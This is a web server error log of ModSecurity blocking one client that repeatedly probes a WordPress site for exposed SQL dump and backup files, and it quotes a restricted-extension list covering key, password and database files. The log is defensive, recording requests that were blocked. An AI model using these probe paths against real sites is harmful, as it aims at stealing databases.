[Mon Jul 28 20:46:28.104350 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVgAAAAM&quot;]
[Mon Jul 28 20:46:28.104537 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVgAAAAM&quot;]
[Mon Jul 28 20:46:28.142231 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mysql.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVwAAAAM&quot;]
[Mon Jul 28 20:46:28.142613 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mysql.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVwAAAAM&quot;]
[Mon Jul 28 20:46:28.142815 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mysql.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVwAAAAM&quot;]
[Mon Jul 28 20:46:28.162997 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWAAAAAM&quot;]
[Mon Jul 28 20:46:28.163346 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWAAAAAM&quot;]
[Mon Jul 28 20:46:28.163537 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dump.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWAAAAAM&quot;]
[Mon Jul 28 20:46:28.183658 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWQAAAAM&quot;]
[Mon Jul 28 20:46:28.184007 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWQAAAAM&quot;]
[Mon Jul 28 20:46:28.184194 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWQAAAAM&quot;]
[Mon Jul 28 20:46:28.204316 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/mysql.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWgAAAAM&quot;]
[Mon Jul 28 20:46:28.204687 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/mysql.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWgAAAAM&quot;]
[Mon Jul 28 20:46:28.204869 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/mysql.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWgAAAAM&quot;]
[Mon Jul 28 20:46:28.225047 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWwAAAAM&quot;]
[Mon Jul 28 20:46:28.225396 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWwAAAAM&quot;]
[Mon Jul 28 20:46:28.225578 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cWwAAAAM&quot;]
[Mon Jul 28 20:46:28.245672 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXAAAAAM&quot;]
[Mon Jul 28 20:46:28.246058 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXAAAAAM&quot;]
[Mon Jul 28 20:46:28.246247 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXAAAAAM&quot;]
[Mon Jul 28 20:46:28.266442 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db_backup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXQAAAAM&quot;]
[Mon Jul 28 20:46:28.266784 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db_backup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXQAAAAM&quot;]
[Mon Jul 28 20:46:28.266961 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db_backup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXQAAAAM&quot;]
[Mon Jul 28 20:46:28.287523 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db_backup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXgAAAAM&quot;]
[Mon Jul 28 20:46:28.287885 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db_backup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXgAAAAM&quot;]
[Mon Jul 28 20:46:28.288084 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db_backup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXgAAAAM&quot;]
[Mon Jul 28 20:46:28.308312 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db_backup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXwAAAAM&quot;]
[Mon Jul 28 20:46:28.308658 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db_backup.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cXwAAAAM&quot;]
